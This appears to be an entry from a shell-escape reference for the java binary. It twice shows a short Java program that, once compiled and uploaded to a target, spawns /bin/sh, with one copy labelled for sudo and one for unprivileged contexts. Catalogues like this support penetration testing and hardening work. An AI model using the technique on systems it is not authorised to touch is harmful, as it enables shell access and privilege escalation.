The `Shell.class` class file can be compiled offline, then uploaded to the target:
```
cat >Shell.java <<EOF
public class Shell {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
}
}
EOF
javac Shell.java
```
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell
The `Shell.class` class file can be compiled offline, then uploaded to the target:
```
cat >Shell.java <<EOF
public class Shell {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
}
}
EOF
javac Shell.java
```
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- shell